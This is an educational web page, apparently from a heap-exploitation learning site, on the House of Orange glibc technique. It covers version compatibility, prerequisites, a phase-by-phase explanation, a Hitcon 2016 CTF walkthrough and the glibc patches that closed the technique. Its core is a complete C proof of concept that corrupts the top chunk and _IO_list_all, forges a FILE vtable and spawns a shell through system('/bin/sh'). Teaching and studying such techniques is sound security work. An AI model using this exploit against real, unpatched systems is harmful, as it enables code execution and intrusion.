House of Orange

Overview

The House of Orange is a legendary heap exploitation technique that achieves arbitrary code execution by corrupting the _IO_list_all pointer and exploiting the FILE structure mechanism. This technique is notable for achieving code execution without ever calling free(), making it powerful in constrained environments.

Patch Status: This technique was patched in glibc 2.26 when malloc_printerr was changed to no longer call _IO_flush_all_lockp.

Glibc Version Compatibility

Version	Status	Notes
glibc < 2.24	✅ Working	Original technique works
glibc 2.24-2.25	⚠️ Mitigated	vtable whitelist check added
glibc >= 2.26	❌ Patched	malloc_printerr no longer flushes FILE
Latest	❌ Patched	Use House of Tangerine or House of Apple

Critical Patches:

vtable validation (2.24): db3476aff19b75c4fdefbe65fcd5f0a90588ba51
abort behavior (2.26): 91e7cf982d0104f0e71770f5ae8e3faf352dea9f

Ret2 Wargames Practice: Try this technique hands-on at House of Orange Interactive Challenge

What This Technique Achieves

The House of Orange enables:

Code execution without free(): Exploit purely through malloc() calls
FILE structure exploitation: Hijack the FILE vtable mechanism
Abort() exploitation: Turn a crash into code execution
Unsorted bin manipulation: Force the old top chunk into unsorted bin

Prerequisites and Constraints

This technique requires:

Heap leak: Must know heap addresses to corrupt pointers
Libc leak: Must know libc addresses for _IO_list_all and system()
Top chunk overflow: Ability to corrupt the top chunk’s size field
Allocation control: Ability to trigger specific malloc sizes
Glibc < 2.26: Technique is patched in newer versions
Glibc < 2.24: For original technique (or vtable bypass for 2.24-2.25)

How It Works

Corrupt top chunk size

Overflow into the top chunk and set its size to a value that satisfies page alignment but is smaller than a large allocation.

char *p1 = malloc(0x400 - 16);
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;  // New top size: page aligned + PREV_INUSE

Trigger sysmalloc and _int_free

Allocate a chunk larger than the corrupted top chunk size. This forces sysmalloc to mmap new memory and free the old top chunk.

char *p2 = malloc(0x1000);
// Old top chunk is now freed into unsorted bin!

Corrupt the freed top chunk

Use overflow to corrupt the old top chunk’s fd and bk pointers, and set its size.

// Calculate _IO_list_all address from heap leak
io_list_all = top[2] + 0x9a8;

// Set bk to _IO_list_all - 0x10
top[3] = io_list_all - 0x10;

// Set size to 0x61 for smallbin[4]
top[1] = 0x61;

Create fake FILE structure

Set up a fake FILE structure in the old top chunk with proper fields.

FILE *fp = (FILE *)top;

// Write "/bin/sh" at the start
memcpy((char *)top, "/bin/sh\x00", 8);

// Set FILE structure fields
fp->_mode = 0;                      // mode <= 0
fp->_IO_write_base = (char *)2;     // write_base < write_ptr
fp->_IO_write_ptr = (char *)3;

// Set vtable pointer
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;    // _IO_OVERFLOW offset
*(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table;

Trigger malloc error and abort

Make a small allocation that triggers bin sorting and causes a size check to fail, calling abort().

malloc(10);  // Triggers the exploit chain!

Complete Source Code

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    // Allocate a chunk
    p1 = malloc(0x400-16);

    // Corrupt the top chunk size
    // The top chunk size must be page aligned and PREV_INUSE must be set
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    // Allocate a chunk larger than the corrupted top chunk size
    // This forces sysmalloc and frees the old top chunk
    p2 = malloc(0x1000);

    // Calculate _IO_list_all address (from heap leak + known offset)
    io_list_all = top[2] + 0x9a8;

    // Corrupt the old top chunk's bk pointer
    // When malloc tries to sort the chunk, it will overwrite _IO_list_all
    top[3] = io_list_all - 0x10;

    // Write /bin/sh at the start of our fake FILE structure
    memcpy( ( char *) top, "/bin/sh\x00", 8);

    // Set the size to 0x61 so it goes to smallbin[4]
    top[1] = 0x61;

    // Set up the fake FILE structure
    FILE *fp = (FILE *) top;

    // Set mode to 0: fp->_mode <= 0
    fp->_mode = 0;

    // Set write_base and write_ptr: fp->_IO_write_ptr > fp->_IO_write_base
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;

    // Set jump table pointer and _IO_OVERFLOW entry
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;

    // Trigger the exploit
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

Technical Deep Dive

Phase 1: Freeing the Top Chunk

The top chunk is normally never freed, but we can force it:

Corrupt top chunk size to be smaller than available space
Allocate large chunk (> corrupted size)
sysmalloc() is called to get more memory
Old top chunk doesn’t merge with new memory
_int_free() is called on old top chunk

// Simplified from sysmalloc() in malloc.c
if (old_top != 0 && old_size != 0) {
    // Old top can't be merged with new memory
    _int_free(av, old_top, 1);
}

Phase 2: Corrupting _IO_list_all

When malloc sorts the unsorted bin:

// Simplified from malloc.c
bck = victim->bk;
fwd = bck->fd;
// This writes main_arena address:
bck->fd = fwd;  // *(_IO_list_all - 0x10 + 0x10) = main_arena

By setting victim->bk = _IO_list_all - 0x10, we write a main_arena pointer to _IO_list_all.

Phase 3: Fake FILE Structure

The _IO_FILE structure must pass several checks:

// From _IO_flush_all_lockp in libio/genops.c
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
    && _IO_OVERFLOW(fp, EOF) == EOF)
    result = EOF;

We need:

fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
Valid vtable pointer
_IO_OVERFLOW points to our function

Phase 4: The Exploit Chain

malloc(10)
  → sorts unsorted bin into smallbin[4]
  → finds size mismatch (0x61 in field but main_arena size is larger)
  → calls malloc_printerr()
  → calls abort()
  → calls _IO_flush_all_lockp()
  → iterates _IO_list_all (now points to main_arena)
  → main_arena + 0x68 is smallbin[4] (our fake FILE)
  → calls _IO_OVERFLOW(fake_file, EOF)
  → calls winner("/bin/sh")
  → system("/bin/sh")

Why Size 0x61?

The size 0x61 (97 bytes) is chosen because:

It’s in the smallbin range
It goes to smallbin[4]
smallbin[4] is at offset +0x68 from main_arena
This offset becomes the fake FILE’s fd pointer in _IO_list_all traversal

CTF Challenge

Hitcon CTF 2016 - House of Orange

Challenge: Orange management system with heap overflow but no free()Vulnerability:

Heap overflow via orange description field
No free() function available
Had to exploit purely through malloc()

Exploitation Steps:

Leaked heap address via overlapping chunks
Leaked libc address via unsorted bin pointers
Corrupted top chunk size to 0xc01
Allocated large chunk to free old top
Corrupted old top chunk’s bk to _IO_list_all - 0x10
Set up fake FILE structure with system() address
Triggered abort() via small allocation
Got shell when system(“/bin/sh”) was called

Writeup: Hitcon 2016 House of Orange WriteupHistorical Significance: This challenge introduced the technique and gave it its name.

Common Pitfalls

Top Chunk Size Validation: The top chunk size must be page aligned (LSBs = 0x001) and have PREV_INUSE set. Use 0xc01, 0x1c01, etc.

FILE Structure Alignment: The fake FILE structure must be properly aligned. Using size 0x61 ensures it lands in smallbin[4] at the right offset.

Missing Leaks: You need both heap and libc leaks. Without them, you can’t calculate _IO_list_all or system() addresses.

vtable Validation: On glibc 2.24+, vtables are validated against a whitelist. The technique requires a vtable bypass or doesn’t work.

The Patches

Patch 1: vtable Validation (glibc 2.24)

// From libio/vtables.c
if (__vtable_check_debug && !_IO_vtable_check(vtable))
    _IO_vtable_check_fail();

This validates that vtable pointers are in the proper libc regions.

Patch 2: malloc_printerr (glibc 2.26)

// Before: malloc_printerr called abort() which flushed FILE structures
// After: malloc_printerr directly terminates without FILE flush
void malloc_printerr(const char *str) {
    __libc_message(do_abort, "%s\n", str);
}

Modern Alternatives

House of Tangerine

Modern technique for glibc 2.26+ using sysmalloc _int_free

House of Apple

Advanced FILE structure exploitation for modern glibc

House of Kiwi

Alternative FILE-based technique for code execution

Learning Resources

Original Blog Post: Angelboy’s House of Orange
FILE Structure Exploitation: Abusing FILE Structures
Phrack Article: The House of Orange

Get Started

Fundamentals

Fastbin Techniques

Tcache Techniques

House Techniques

Bin & Chunk Manipulation

Advanced Techniques

Glibc Versions

Tools & Resources

Overview

Glibc Version Compatibility

What This Technique Achieves

Prerequisites and Constraints

How It Works

Complete Source Code

Technical Deep Dive

Phase 1: Freeing the Top Chunk

Phase 2: Corrupting _IO_list_all

Phase 3: Fake FILE Structure

Phase 4: The Exploit Chain

Why Size 0x61?

CTF Challenge

Common Pitfalls

The Patches

Patch 1: vtable Validation (glibc 2.24)

Patch 2: malloc_printerr (glibc 2.26)

Modern Alternatives

House of Tangerine

House of Apple

House of Kiwi

Learning Resources

See Also

​Overview

​Glibc Version Compatibility

​What This Technique Achieves

​Prerequisites and Constraints

​How It Works

​Complete Source Code

​Technical Deep Dive

​Phase 1: Freeing the Top Chunk

​Phase 2: Corrupting _IO_list_all

​Phase 3: Fake FILE Structure

​Phase 4: The Exploit Chain

​Why Size 0x61?

​CTF Challenge

​Common Pitfalls

​The Patches

​Patch 1: vtable Validation (glibc 2.24)

​Patch 2: malloc_printerr (glibc 2.26)

​Modern Alternatives

House of Tangerine

House of Apple

House of Kiwi

​Learning Resources

​See Also

Overview

Glibc Version Compatibility

What This Technique Achieves

Prerequisites and Constraints

How It Works

Complete Source Code

Technical Deep Dive

Phase 1: Freeing the Top Chunk

Phase 2: Corrupting _IO_list_all

Phase 3: Fake FILE Structure

Phase 4: The Exploit Chain

Why Size 0x61?

CTF Challenge

Common Pitfalls

The Patches

Patch 1: vtable Validation (glibc 2.24)

Patch 2: malloc_printerr (glibc 2.26)

Modern Alternatives

Learning Resources

See Also